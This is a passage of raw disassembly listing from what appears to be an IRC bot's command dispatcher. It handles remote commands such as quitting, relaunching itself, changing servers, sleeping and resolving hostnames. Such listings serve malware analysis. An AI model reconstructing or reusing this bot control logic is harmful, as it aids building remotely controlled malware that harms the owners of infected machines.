eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41EF18 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_41EC10 call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset dword_41EAFC push offset dword_41EC10 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, off_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41EF18 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset dword_41EAFC push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41DA80 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DE00 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41ED18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED18 push offset dword_41DA80 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DE00 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AB0 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, off_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DE08, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DE08, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DE08, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_419A3C call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE00 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DE5C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE00 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DE5C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp 